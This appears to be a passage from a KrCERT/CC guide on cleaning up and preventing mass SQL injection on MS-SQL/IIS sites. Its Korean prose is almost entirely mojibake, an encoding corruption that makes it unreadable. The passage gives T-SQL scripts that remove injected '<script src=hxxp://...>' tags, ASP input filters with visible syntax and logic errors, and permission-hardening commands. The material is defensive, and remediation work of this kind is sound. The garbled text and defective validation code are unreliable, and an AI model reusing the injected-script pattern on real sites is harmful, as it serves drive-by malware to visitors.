¸¸¾à ÀúÀåµÇ¾î ÀÖ´ø ÀÚ·á°¡ ntext, nvarchar¿Í °°ÀÌ À¯´ÏÄڵ带 Áö¿øÇÏ´Â µî º°µµÀÇ ÀÎÄÚµù¹æ½ÄÀ¸·Î ÀúÀåµÇ¾î ÀÖ´Â °æ¿ì, ÀÚ·á Çü º¯È¯À» ÅëÇØ »ðÀÔµÈ ¾Ç¼ºÄڵ带 Á» ´õ ¼ö¿ùÇÏ°Ô Ã£¾Æ³»°í Á¦°ÅÇÒ ¼ö ÀÖ´Ù.

´Ù¸¸, ÀÚ·á Çü º¯È¯¿¡¼­ »ç¿ëÇÏ´Â Àӽú¯¼öÀÇ Å©±â¸¦ ÃæºÐÈ÷ ÁöÁ¤ÇØ¾ß Ãß°¡ÀûÀÎ ÀÚ·á À¯½ÇÀ» ¿¹¹æ ÇÒ ¼ö ÀÖ´Ù.
Update [Å×À̺í¸í] Set [Ä÷³¸í] = replace(cast([Ä÷³¸í] as varchar(8000)),
'[»èÁ¦ÇÏ°íÀÚÇÏ´Â ¾Ç¼ºÄÚµå ¹®ÀÚ¿­]', '')
¿¹> Update freebbs Set contents = replace(cast(contents as
varchar(8000)), '<script src=hxxp://url/b.js></script>', '')

Âü°í·Î MS SQL 2005À̻󿡼­´Â varchar(max)¸¦ »ç¿ë ÇÒ ¼ö ÀÖÀ¸¸ç, ÀÌ¿Ü¿¡µµ ´Ù¾çÇÑ ÀÚ·á Çü¿¡ ´ëÇØ °í·ÁÇØ¾ß ÇϹǷÎ, SQL¼­¹ö¿¡¼­ »ç¿ëÇÏ´Â Å« °ª ÀÚ·á Çü ¹®¼­¸¦ Âü°íÇÏ°í, ¡°UPDATETEXT¡±¹®À» »ç¿ëÇÏ´Â °Íµµ ÇÔ²² °í·ÁÇÑ´Ù.

3) ÀÏ°ýº¹±¸ ½ºÅ©¸³Æ® »ç¿ë
Ä÷³´ÜÀ§ÀÇ º¹±¸ ½ºÅ©¸³Æ®´Â º¹±¸´ë»ó Ä÷³ÀÌ ¸¹Àº °æ¿ì, ÀûÁö ¾ÊÀº ½Ã°£ÀÌ ÇÊ¿äÇϱ⠶§¹®¿¡ ¾Ç¼ºÄÚµå »èÁ¦¸¦ ´õ ºü¸£°Ô ¼öÇàÇÏ°íÀÚ ÇÑ´Ù¸é ÀÏ°ýº¹±¸ ½ºÅ©¸³Æ®¸¦ ÂüÁ¶ÇÏ¿© Àû¿ëÇÑ´Ù.
-- Mass SQL Injection ÇÇÇØ DB ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®, Çѱ¹¸¶ÀÌÅ©·Î¼ÒÇÁÆ® Á¦°ø
-- »ç°íÀÇ Æ¯¼º »ó DB ÀÚ·á°ªµéÀÌ varchar ¶Ç´Â nvarchar µîÀ¸·Î Çüº¯È¯ µÇ°Å³ª Á¦ÇѵÈ
Àӽà °ø°£¿¡ ÀúÀåµÇ´Â °úÁ¤ÀÌ ÀÖ¾î ÀÚ·áÀÇ À¯½ÇÀ̳ª ¼Õ»óÀÌ ¹ß»ýÇÕ´Ï´Ù.
-- ±×·¯¹Ç·Î, º» º¹±¸ ½ºÅ©¸³Æ®´Â ÀÌ·¯ÇÑ ÀüÇüÀûÀÎ Mass SQL Injection ÇÇÇظ¦ ÀÔÀº DBÀÇ
º¹±¸¿¡¸¸ »ç¿ë ÇϽñ⠹ٶø´Ï´Ù.
-- º» º¹±¸ ½ºÅ©¸³Æ®´Â DB°ü¸®ÀÚ¿Í ÃæºÐÈ÷ °ËÅäÇϽŠÈÄ Àû¿ëÇÏ¼Å¾ß Çϸç, ÀÌ¿¡ ´ëÇÑ
Ã¥ÀÓÀº ÀüÀûÀ¸·Î »ç¿ëÀÚ¿¡°Ô ÀÖ½À´Ï´Ù.
-- Mass SQL Injection¿¡ ´ëÇÑ ÀÚ·á´Â KrCERT/CC ȨÆäÀÌÁö(www.KrCERT.or.kr) º¸¾È°øÁö
¶Ç´Â ±â¼ú¹®¼­¸¦ ÂüÁ¶ÇϽñ⠹ٶø´Ï´Ù. 2008. 11 KrCERT/CC, webcheck@krcert.or.kr
declare @tab varchar(255), @col varchar(255), @owner varchar(255),
@type int
declare table_cursor cursor for select so.name, sc.name, sc.xtype,
su.name from sysobjects so inner join syscolumns sc on so.id = sc.id
inner join sysusers su on so.uid = su.uid where so.xtype='u' and
(sc.xtype=99 or sc.xtype=35 or sc.xtype=231 or sc.xtype=167)
open table_cursor
fetch next from table_cursor into @tab, @col, @type, @owner
while(@@fetch_status=0)
begin
-- varchar, text ¶Ç´Â nvarchar, ntext ÀÏ °æ¿ì MS-SQL 2005 ÀÌ»óÀÇ È¯°æÀ̶ó¸é
varchar(max) ¶Ç´Â nvarchar(max) À¸·Î º¯°æÇÏ¿© »ç¿ë
-- ¾Ç¼ºÄÚµå ºÎºÐÀ» ½ÇÁ¦ »èÁ¦ÇÏ·Á´Â ¾Ç¼ºÄÚµå·Î ¼öÁ¤ (¾Ç¼ºÄÚµå ¿¹: <script
src=hxxp://malcode.tld></script>)
if (@type = 35 or @type = 167)
exec('update ' + @owner + '.[' + @tab + '] set [' + @col + ']
= replace(convert(varchar(8000), [' + @col + ']), '<¾Ç¼ºÄÚµå>','''')')
else
exec('update ' + @owner + '.[' + @tab + '] set [' + @col + ']
= replace(convert(nvarchar(4000), [' + @col + ']), '<¾Ç¼ºÄÚµå>','''')')
print '[' + @col + ']' + ' column of ' + @owner + '.' + @tab + '
has been updated.'
fetch next from table_cursor into @tab, @col, @type, @owner
end
close table_cursor
deallocate table_cursor

À§ÀÇ ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®µµ º¹±¸ ´ë»ó µ¥ÀÌÅͺ£À̽º¿¡ Á÷Á¢ Àû¿ëÇϱâ Àü¿¡ ¹®Á¦°¡ ¾ø´ÂÁö ¹Ýµå½Ã Å×½ºÆ® ȯ°æ¿¡¼­ È®ÀÎÀ» °ÅÃÄ¾ß ÇÑ´Ù.

ÀÏ°ý º¹±¸ ½ºÅ©¸³Æ®¿¡¼­µµ °­Á¦ Çü º¯È¯À» »ç¿ëÇ߱⠶§¹®¿¡ °ø°Ý ½ºÅ©¸³Æ®Ã³·³ µ¥ÀÌÅÍÀÇ À¯½ÇÀÌ ¹ß»ý ÇÒ ¼ÒÁö°¡ ÀÖ´Ù. ÇÏÁö¸¸ ¾Õ¼­ ºÐ¼®ÇÑ ÇüÅÂÀÇ °ø°Ý ½ºÅ©¸³Æ®¿´´Ù¸é ÀÌ¹Ì Àӽú¯¼öÀÇ Å©±â¿¡ ¸Â°Ô µ¥ÀÌÅÍ°¡ Á¶Á¤µÈ »óÅÂÀ̹ǷΠÃß°¡ÀûÀÎ µ¥ÀÌÅÍÀÇ À¯½ÇÀº ¾øÀ» °ÍÀÌ´Ù.

³ª. ´ëÀÀ ¹æ¾È
1) µ¿Àû SQL»ç¿ë Áö¾ç
µ¥ÀÌÅͺ£À̽º¿ÍÀÇ ¿¬µ¿ ºÎºÐ¿¡¼­´Â µ¿Àû SQLÀ» ´õ ÀÌ»ó »ç¿ëÇÏÁö ¸»°í ÀúÀå ÇÁ·Î½ÃÀú¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù[1][2]. Áö±Ý±îÁöµµ ¸¹ÀÌ »ç¿ëµÇ°í ÀÖ´Â µ¿Àû SQL ¿Ï¼º ¹æ½ÄÀº º¯¼öÀÇ ÀԷ°ªÀ» ¿¬°á½ÃÄÑ SQL¹®À» ¿Ï¼º(Concatenation of SQL)½ÃÅ°´Â ÇüÅÂÀ̹ǷΠ°ø°ÝÀÚÀÇ SQL¹® ÁÖÀÔÀÌ ¸Å¿ì ¿ëÀÌÇÏ´Ù. ±×·¯³ª ÀúÀå ÇÁ·Î½ÃÀú¸¦ ÅëÇØ µ¥ÀÌÅͺ£À̽º ¿¬µ¿À» ±¸ÇöÇÑ´Ù¸é, ÀÌ¹Ì ÇÁ·Î½ÃÀú ³»ºÎ¿¡¼­ ÀԷ°ª¿¡ ´ëÇÑ ÀÚ·á Çü °ËÁõÀÌ ÀÌ·ç¾îÁø´Ù. ¶ÇÇÑ ÇØ´ç ÇÁ·Î½ÃÀúÀÇ ³»ºÎ¿¡¼­¸¸ ¿µÇâÀ» ³¢Ä¡±â ¶§¹®¿¡ º¸¾ÈÃø¸é¿¡¼­µµ ´õ¿í ´õ ¾ÈÀüÇÏ°í, ¼º´ÉÀ̳ª À¯Áöº¸¼ö Ãø¸é¿¡¼­µµ ´ë´ÜÈ÷ È¿°úÀûÀÌ´Ù.

2) ¾ÈÀüÇÑ À¥ »çÀÌÆ® ¼³°è¿Í ±¸Çö
SQL Injection Ãë¾àÁ¡Àº ÀԷ°ª °ËÁõ ÀýÂ÷ ¹®Á¦¿¡ ±âÀÎÇϹǷÎ, °³¹ß´Ü°è¿¡¼­ºÎÅÍ ¹Ýµå½Ã ¸ðµç ÀԷ°ª¿¡ ´ëÇØ ÀûÀýÇÑ °ËÁõÀýÂ÷¸¦ ¼³°èÇÏ°í ±¸ÇöÇØ¾ß ÇÑ´Ù.
¿¹¸¦ µé¾î °Ô½ÃÆÇÀÇ À̸§À» ó¸®ÇØ¾ß ÇÏ´Â ÆäÀÌÁö°¡ ÀÖ´Ù¸é °Ô½ÃÆÇ À̸§¿¡ ´ëÇÑ ÀԷ°ª¿¡ ´ëÇØ ´ÙÀ½ÀÇ ¿¹½Ã¿Í °°ÀÌ °ËÁõ ÇÒ ¼ö ÀÖ´Ù. °£·«È÷ °ËÁõ°úÁ¤À» ¿ä¾àÇϸé, ÀԷ°ªÀÇ Å©±â¸¦ °Ë»çÇÏ°í Ư¼ö¹®ÀÚ°¡ ÀÖ´Â °æ¿ì À§ÇèÇÏÁö ¾ÊÀº ¹®ÀڷΠġȯÇÑ ÈÄ ÀԷ°ªÀÌ Çã¿ë¹üÀ§ ³»¿¡ Á¸ÀçÇÏ´ÂÁö °Ë»çÇÏ´Â ¹æ½ÄÀÌ´Ù.

􀂄 °Ô½ÃÆÇ À̸§ ó¸®¿ë °ËÁõ ÇÔ¼ö ¿¹½Ã
ÀԷ°ªÀ» Àü´Þ¹ÞÀ» º¯¼ö¸¦ ¼±¾ðÇÏ°í °¡Àå ¸ÕÀú LenStrÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀÌ 10ÀÚ À̳»ÀÎÁö °ËÁõÇÑ´Ù.
Dim bbstitle :
bbstitle =
(InputFilter(ReplaceChar(LenStr(Request.QueryString(¡°title"),10)))

􀂄 Ư¼ö¹®ÀÚ Ä¡È¯ ÇÔ¼ö ¿¹½Ã
ÀԷ°ª¿¡ ºÎÀûÀýÇÑ Æ¯¼ö¹®ÀÚ°¡ ÀÖ´ÂÁö °Ë»çÇÏ¿© ¼­¹ö³ª ºê¶ó¿ìÀú¿¡¼­ ½ÇÇàµÇÁö ¾Ê´Â ¾ÈÀüÇÑ ÄÚµå·Î ġȯÇÑ´Ù. ¿¹¸¦ µé¾î ÀÛÀºµû¿ÈÇ¥(¡®) ³ª ºÎµîÈ£(<,>)¸¦ ÀÔ·Â ÇÏ´õ¶óµµ HTML¿¡¼­ Ç¥Çö°¡´ÉÇÑ ¹®ÀÚ ÄÚµå·Î ġȯµÇ¹Ç·Î ¼­¹ö³ª ºê¶ó¿ìÀú¿¡¼­´Â ÇÁ ·Î±×·¥ÀÇ ÀÏºÎ·Î½á ½ÇÇàµÇÁö ¾Ê°í È­¸é¿¡ Ç¥½Ã¸¸ ÇÑ´Ù. ±×·¯¹Ç·Î Á¤»óÀûÀÎ Á¢¼ÓÀÚÀÇÀÔÀå¿¡¼­´Â À¥ ºê¶ó¿ìÀú¿¡¼­ µ¿ÀÏÇÏ°Ô ³ªÅ¸³» Áֱ⠶§¹®¿¡ ºÒÆíÇÔÀÌ ¾ø´Ù.
Function ReplaceChar(str)
ReplaceChar = ""
If str <> "" Then
str = replace(str, "<", "&lt")
str = replace(str, ">", "&gt")
str = replace(str, """, "&#34;")
str = replace(str, "|", "&#124;")
str = replace(str, "$", "&#36;")
str = replace(str, "%", "&#37;")
str = replace(str, "'", "&#39;")
str = replace(str, "/", "&#47;")
str = replace(str, "(", "&#40;")
str = replace(str, ")", "&#41;")
str = replace(str, ",", "&#44;")
End If
ReplaceChar = str
End Function


􀂄 Çã¿ë ¹üÀ§ °ËÁõ ÇÔ¼ö ¿¹½Ã
ÀԷ°ªÀÌ ÀûÀýÇÑ Çã¿ë ¹üÀ§¿¡ ¼ÓÇÏ´ÂÁö È®ÀÎÇÏ´Â ÇÔ¼öÀÌ´Ù. Çã¿ëÇÒ ¹üÀ§¸¸ Á¤ÀÇÇÏ¿© ±× ¿ÜÀÇ ÀԷ°ªÀº ¸ðµÎ ¿¹¿Üó¸® ÇÏ´Â ±¸Á¶À̹ǷΠ°ø°Ý ÆÐÅÏÀÇ º¯È­¿¡ ÀÇÁ¸ÀûÀÌÁö ¾Ê´Ù.
Function InputFilter(str) ' Á¤¼ö, ¾ËÆĺª, &, #, ; ¸¸ Çã¿ë
Dim i, ret
ret = TRUE
For i = 1 To Len(str)
If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, i, 1)) <= 57) Or
(Asc(Mid(str, i, 1)) >= 65 And Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i,
1)) >= 97 And Asc(Mid(str, i, 1)) <= 122) Or Asc(Mid(str, i, 1)=35 Or
Asc(Mid(str, i, 1)) = 38 Or Asc(Mid(str, i, 1)) = 59) Then
ret = FALSE
End If
Next
If ret = TRUE Then titlecheck = str
Else titlecheck = 0
Response.Write "<script>alert('ºÎÀûÀýÇÑ °ªÀÌ ÀԷµǾú½À´Ï´Ù.');
history.back();</script>¡°
Response.End
End If
End Function

¸¸¾à ÀÌ·¯ÇÑ Çã¿ë¹üÀ§ ¸í½Ã¹æ½Ä ¶Ç´Â White List·Î °ËÁõÇÏ´Â Positive Filtering ¹æ½ÄÀ¸·Î °ËÁõÇÏÁö ¾Ê°í, °ÅºÎ³ª Â÷´Ü ´ë»óÀ» ³ª¿­ÇÏ´Â Çã¿ëºÒ°¡ ¸í½Ã¹æ½Ä ¶Ç´Â Black List·Î °ËÁõÇÏ´Â Negative Filtering ¹æ½ÄÀ¸·Î ±¸Çö ÇÑ´Ù¸é Áö¼ÓÀûÀ¸·Î °ÅºÎÇÒ ´ë»óÀ» ÀÏÀÏÀÌ Ãß°¡ ÇØ ÁÖ¾î¾ß ÇÏ´Â ¾î·Á¿òÀÌ ¹ß»ýÇÑ´Ù.
±×·¯¹Ç·Î ¹Ýµå½Ã Çã¿ëÇÒ ´ë»óÀ» ¸í½ÃÇÏ°í ±× ÀÌ¿ÜÀÇ °æ¿ì´Â ¿¹¿Ü󸮸¦ ÇØ¾ß ½Ã°£À̳ª ºñ¿ë¸é¿¡¼­µµ ÈξÀ È¿°úÀûÀÌ´Ù.

3) À¥ ¼­¹ö º¸¾È °­È­
SQL Injection¿¡ ´ëÇÑ ±Ùº»ÀûÀÎ ¹®Á¦ ÇØ°áÀ» À§Çؼ­´Â ÇÁ·Î±×·¥ º¸¿Ï Á¶Ä¡°¡ ¹Ýµå½Ã ÇÊ¿äÇÏÁö¸¸, À¥ ¼­¹öÀÇ º¸¾È °­È­ ¼³Á¤À» ÅëÇؼ­µµ º¸¿ÏÀûÀÎ È¿°ú¸¦ º¼ ¼ö ÀÖ´Ù.

􀂄 ÀÚ¼¼ÇÑ ¿À·ù ³»¿ë Ç¥½Ã Â÷´Ü
IIS À¥ ¼­¹ö¿¡¼­´Â ±âº»ÀûÀ¸·Î À¥ ¼­ºñ½ºÀÇ ¿À·ù°¡ ¹ß»ý ÇÒ ¶§, ÀÚ¼¼ÇÑ ¿À·ù ¸Þ½ÃÁö¸¦ Á¢¼ÓÀÚ¿¡°Ô Ç¥½ÃÇÏ°Ô µÇ¾î ÀÖ´Ù. ±×·¯¹Ç·Î ÀÌ ¼³Á¤À» º¯°æÇÏ¿© °ø°ÝÀÚ°¡ ¿À·ù ¸Þ½ÃÁö¸¦ ÅëÇØ À¯¿ëÇÑ Á¤º¸¸¦ ¼öÁýÇÒ ¼ö ¾øµµ·Ï ¼öÁ¤ÇØ¾ß ÇÑ´Ù.


ÀϹÝÀûÀÎ SQL Injection °ø°ÝÀÇ °æ¿ì ¿À·ù ¸Þ½ÃÁö¸¦ ±â¹ÝÀ¸·Î Á¤º¸¸¦ ÃßÃâÇÏ°Ô µÇ¹Ç·Î, ÀÌ ¼³Á¤ º¯°æ¸¸À¸·Îµµ ¹æ¾îÈ¿°ú¸¦ º¼ ¼ö ÀÖ´Ù. ´Ù¸¸, Blindfolded SQL Injection[1]À̳ª ½Ã½ºÅÛ ¸í·É¾î¸¦ ¼öÇàÇÏ´Â SQL Injection°ø°ÝÀº Â÷´ÜÇÒ ¼ö ¾øÀ¸¹Ç·Î ¹Ýµå½Ã ÇÁ·Î±×·¥ ¼öÁ¤ÀÇ º¸¿ÏÁ¶Ä¡·Î È°¿ëÇØ¾ß ÇÑ´Ù.

􀂄 SQL ¼­¹ö º¸¾È °­È­
À¥ ÆäÀÌÁö¿Í MS-SQL ¼­¹ö¸¦ ¿¬µ¿ ÇÒ ¶§, µ¥ÀÌÅͺ£À̽ºÀÇ °ü¸®ÀÚ °èÁ¤ÀÎ SA °èÁ¤À» »ç¿ëÇÏ°Ô µÇ¸é °ø°ÝÀÚ°¡ ¾Ç¿ëÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¸Å¿ì À§ÇèÇÏ´Ù. ±×·¯¹Ç·Î ¹Ý µå½Ã »ç¿ëÀÚ °èÁ¤À» »ç¿ëÇÏ°í ÃÖ¼Ò ±ÇÇѸ¸À» ÇÒ´çÇÏ¿© »ç¿ëÇØ¾ß ÇÑ´Ù. ¶ÇÇÑ, ¾Õ¼­ ºÐ¼®ÇÑ °ø°Ý ½ºÅ©¸³Æ®ÀÇ °æ¿ì ½Ã½ºÅÛ Å×À̺íÀÎ Syscolumns¿Í SysobjectsÀÇ Á¤º¸¸¦ ÀÌ¿ëÇÏ°í ÀÖÀ¸¹Ç·Î, ¹Ýµå½Ã ÇÊ¿äÇÏÁö ¾ÊÀº °æ¿ì¶ó¸é »ç¿ëÀÚ °èÁ¤À̳ª ¡°public¡±°èÁ¤¿¡ ÇÒ´çµÇ¾î ÀÖ´Â ¡°SELECT¡± ±ÇÇÑÀ» Á¦°ÅÇÏ´Â °ÍÀÌ ¾ÈÀüÇÏ´Ù.


±×¸®°í À§ÀÇ ¼³Á¤À» ¸í·É¾î¸¦ ÅëÇØ ½ÇÇà½ÃÅ°°íÀÚ ÇÑ´Ù¸é ¾Æ·¡ÀÇ ½ºÅ©¸³Æ®¿Í °°ÀÌ ½ÇÇàÇÏ¸é µÈ´Ù.
use <»ç¿ëÀÚµ¥ÀÌÅͺ£½º¸í>
go
DENY SELECT ON sysobjects TO userid
DENY SELECT ON syscolumns TO userid
go

À§ÀÇ ¸í·ÉÀ» ½ÇÇàÇÏ¸é ¡°userid¡±¶ó´Â »ç¿ëÀÚ°èÁ¤¿¡ ´ëÇؼ­ Sysobjects ¹× Syscolumns Å×ÀÌºí¿¡ ´ëÇÑ ¡°SELECT¡± ±ÇÇÑÀ» Á¦ÇÑÇÏ°Ô µÇ¸ç, ÇØ´ç »ç¿ëÀÚ°èÁ¤¿¡¼­ Sysobjects³ª Syscolumns ½Ã½ºÅÛ Å×À̺í Á¶È¸ ½Ã ´ÙÀ½°ú °°Àº ¿À·ù¿Í ÇÔ²² ½ÇÆÐÇÏ°Ô µÈ´Ù.
[¿À·ù¸Þ½ÃÁö]
¼­¹ö: ¸Þ½ÃÁö 229, ¼öÁØ 14, »óÅ 5, ÁÙ 1
'dbo' ¼ÒÀ¯ÀÚ, 'pubs' µ¥ÀÌÅͺ£À̽º, 'sysobjects' °³Ã¼¿¡ ´ëÇÑ SELECT »ç¿ë ±ÇÇÑÀÌ
°ÅºÎµÇ¾ú½À´Ï´Ù.

¸¸¾à ƯÁ¤ »ç¿ëÀÚ °èÁ¤¿¡ ´ëÇؼ­ Sysobjects ¹× Syscolumns ½Ã½ºÅÛ Å×ÀÌºí¿¡ ´ëÇÑ ¡°SELECT¡± ±ÇÇÑÀ» ´Ù½Ã ºÎ¿©ÇÏ·Á¸é ¾Æ·¡¿Í °°ÀÌ ½ÇÇàÇÏ¸é µÈ´Ù.
use <»ç¿ëÀÚµ¥ÀÌÅͺ£½º¸í>
go
GRANT SELECT ON sysobjects TO userid
GRANT SELECT ON syscolumns TO userid
go


4) À¥ ¹æÈ­º® È°¿ë
À¥º¸¾È Ãë¾àÁ¡ÀÇ ±Ùº»ÀûÀÎ ¹®Á¦ ÇØ°áÀ» À§Çؼ­´Â ÇÁ·Î±×·¥ÀÇ º¸¿ÏÁ¶Ä¡°¡ ¹Ýµå½Ã ÇÊ¿äÇÏ´Ù. ÇÏÁö¸¸ ¿î¿µ ÁßÀΠȨÆäÀÌÁö¿¡¼­ ÇÁ·Î±×·¥ ¼öÁ¤À¸·Î ÀÎÇÑ ¹®Á¦µéµµ °ËÅä ÇÏ¿© Á¶Ä¡ÇØ¾ß Çϱ⠶§¹®¿¡, ±× ½Ã°£ µ¿¾ÈÀº À¥¹æÈ­º®À̳ª ºÎ°¡ÀûÀÎ º¸¿ÏÁ¶Ä¡µéÀ» ÅëÇØ ½Ã°£À» È®º¸ ÇÒ ¼ö ÀÖ´Ù.
¿¹¸¦ µé¾î À©µµ¿ìÁîÀÇ IIS ȯ°æÀ̶ó¸é URLScan[1]À̳ª °ø°³À¥¹æÈ­º® WebKnight[2]¸¦ È°¿ëÇÏ¿© º¸¾È¼öÁØÀ» Çâ»ó½Ãų ¼ö ÀÖ´Ù. ƯÈ÷ WebKnightÀÇ °æ¿ì´Â KrCERT/CCÀÇ °ø°³À¥¹æÈ­º® ¾È³» ÆäÀÌÁö[3]¿¡¼­ °¢Á¾ °¡À̵å¿Í Ç¥ÁØ Á¤Ã¥ ¹× ±â ¼úÁö¿øµµ Á¦°ø ÇÏ°í ÀÖ´Ù.
Âü°í·Î À̹ø ºÐ¼®¿¡¼­ ¾ð±ÞÇÑ, ÄíÅ°¿¡ ´ëÇÑ SQL Injection°ø°ÝÀ» Â÷´ÜÇϱâ À§Çؼ­´Â ¹Ýµå½Ã ±×¸²°ú °°ÀÌ ÇØ´ç ±â´ÉÀ» È°¼ºÈ­ÇØ¾ß ÇÑ´Ù.

H TTP Çì´õÀÇ Æ¯¼º »ó Ư¼ö¹®ÀÚ°¡ ¸¹ÀÌ »ç¿ë µÇ¹Ç·Î, Â÷´Ü ¼³Á¤ ÈÄ¿¡´Â ÀÏÁ¤ ±â°£ µ¿¾È ·Î±× ¸ð´ÏÅ͸µÀ» ÅëÇØ ¼­ºñ½º¿¡ ¹®Á¦°¡ ¾ø´ÂÁö È®ÀÎÇØ¾ß ÇÑ´Ù.

ÇÏÁö¸¸, ¾îµð±îÁö³ª À¥ ¹æÈ­º®Àº º¸¿Ï ÀåÄ¡·Î È°¿ëÇØ¾ß Çϸç, ÇÁ·Î±×·¥ ¼öÁ¤ Á¶Ä¡ µîÀÇ ±Ùº»ÀûÀÎ ¿øÀÎ Á¦°Å°¡ ¹Ýµå½Ã ¼öÇàµÇ¾î¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ÀüÀï¿¡ ³ª°£ º´»ç°¡ ¾Æ¹«¸® Æ°Æ°ÇÑ °©¿ÊÀ» ÀÔ¾ú´õ¶óµµ °Ç°­ÇÏÁö ¾Ê°Å³ª ±âº» ü·ÂÀÌ ÃæºÐÄ¡ ¾Ê´Ù¸é °á±¹ ±× °©¿ÊÁ¶Â÷ ¹«¿ëÁö¹°ÀÌ µÉ °ÍÀÌ´Ù.

5) À¥º¸¾È Ãë¾àÁ¡ Á¡°Ë
¼³°è¿Í ±¸Çö¿¡ À־ ¾ÈÀüÇÑ °³¹ß ÀýÂ÷¿¡ µû¶ó °³¹ßµÇ¾ú´õ¶óµµ Á¸ÀçÇÒ ¼ö ÀÖ´Â º¸¾È ¹®Á¦µéÀ» Á¡°ËÇÏ°í Áø´ÜÇÏ´Â °úÁ¤ÀÌ ÇÊ¿äÇÏ´Ù.
ƯÈ÷ SQL InjectionÀÇ °æ¿ì´Â ÇÁ·Î±×·¥ ¼Ò½º »ó¿¡¼­ ÀԷ°ª °ËÁõÀÌ ÀûÀýÈ÷ ÀÌ ·ç¾îÁ³´ÂÁö Á¡°Ë(White box test) ÇØ º¸°í À¥ Ãë¾àÁ¡ Á¡°Ë µµ±¸¸¦ º´ÇàÇÏ¿© Á¡°Ë (Black box test)ÇØ º»´Ù¸é ´õ¿í ´õ ¾ÈÀüÇÑ À¥ ¼­ºñ½º ¿î¿µÀÌ µÉ °ÍÀÌ´Ù.
¿¹¸¦ µé¾î ¸¶ÀÌÅ©·Î¼ÒÇÁÆ®¿¡¼­ Á¦°øÇÏ´Â ¼Ò½ºÄÚµå °Ë»ç µµ±¸ÀÎ Microsoft Source Code Analyzer for SQL Injection[1]À» È°¿ëÇϰųª, À©µµ¿ìÁî ³»Àå ¸í·É¾îÀÎ ¡°findstr¡±À» ÅëÇØ ¿ÜºÎ·ÎºÎÅÍ ÀÔ·Â ¹Þ´Â µ¥ÀÌÅÍ°¡ °ËÁõ ÇÔ¼ö¸¦ °ÅÄ¡´Â Áö È®ÀÎÇØ º¼ ÇÊ¿ä°¡ ÀÖ´Ù. ¾Æ·¡ÀÇ Á¡°Ë ¿¹Á¦´Â "findstr" ¸í·É¾î¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀ» ¹Þ´Â ÇÁ·Î±×·¥ ¼Ò½º ºÎºÐÀ» °Ë»çÇÏ´Â ¿¹Á¦ÀÌ´Ù. ¾Æ·¡ÀÇ ¿¹½Ã´ë·Î °Ë»çÇϸé ÀԷ°ª °ËÁõ ÇÔ¼ö¸¦ µ¿ÀÏ Çà ¿¡¼­ ó¸® ÇÏÁö ¾Ê´Â °æ¿ì¸¦ ã¾Æ º¼ ¼ö ÀÖ´Ù.
findstr /I /S /G [request°´Ã¼¸ñ·Ï] *.asp | findstr /I /V "[ÀԷ°ª°ËÁõÇÔ¼ö¸í]"
¿¹) findstr /I /S /G arglist.txt *.asp | findstr /I /V "inputfilter\("

arglist.txt
request.form
request.QueryString
request.ServerVariables
request.Cookies
request\(

±×¸®°í À¥ Ãë¾àÁ¡ Á¡°Ë µµ±¸¸¦ »ç¿ëÇؼ­ Áø´ÜÇØ º¼ ¼öµµ Àִµ¥, À¥º¸¾È Á¡°Ë µµ±¸´Â sectools.org[1]³ª NIST ȨÆäÀÌÁö[2] µî¿¡¼­ ¼Ò°³ÇÏ°í ÀÖ´Ù. ¶ÇÇÑ, PAROS, N-Stealth, Scrawlr, Wikto µîÀÇ ¹«·á Á¡°Ëµµ±¸µéÀ» È°¿ëÇÏ¿© Á¡°Ë ÇØ º¼ ¼ö ÀÖ´Ù.
±×¸®°í KrCERT/CC¿¡¼­ Á¦°øÇÏ´Â ¿ø°Ý À¥ Ãë¾àÁ¡ Á¡°Ë ¼­ºñ½º¸¦ ÀÌ¿ëÇϸé À¥ Ãë¾àÁ¡ ¿ø°Ý Á¡°Ë ¼­ºñ½º¸¦ Á¦°ø ¹ÞÀ» ¼ö ÀÖÀ¸¸ç, Á¡°Ë ½ÅûÀº ȨÆäÀÌÁö (http://webcheck.krcert.or.kr) ¿¡¼­ Á¢¼ö ¹Þ°í ÀÖ´Ù. ´Ù¸¸, ºñ¿µ¸®´Üü³ª ¿µ¼¼±â¾÷ µî Á¤º¸º¸È£Ãë¾à°èÃþÀ» ´ë»óÀ¸·Î Á¦°øÇϹǷΠ¼­ºñ½º ´ë»ó¿¡ ÇØ´ç ÇÏ´Â °æ¿ì¿¡¸¸ ¼­ºñ½º ¹ÞÀ» ¼ö ÀÖ´Ù.


À¥ ¼­ºñ½ºÀÇ ³í¸®Àû ¿À·ù³ª ƯȭµÈ ¼­ºñ½º¿¡ ´ëÇØ Á¤¹ÐÇÑ Á¡°ËÀÌ ÇÊ¿äÇÑ °æ¿ì¿¡´Â ÇöȲ Æľǰú ¹®Á¦Á¡ Áø´Ü °úÁ¤¿¡ À־ ¸Å¿ì Àü¹®ÀûÀÎ Àη°ú ¸¹Àº ½Ã°£ÀÌ ÇÊ¿ä ÇÏ´Ù. ±×·¯¹Ç·Î Á¤º¸º¸È£Àü¹®¾÷üÀÇ ÄÁ¼³ÆÃÀ» ÅëÇØ ´õ¿í ´õ ±íÀÌ ÀÖ°í »ó¼¼ÇÑ Áø´ÜÀ» ¹ÞÀ» °ÍÀ» ±Ç°íÇÑ´Ù.

4. ¸ÎÀ½¸»
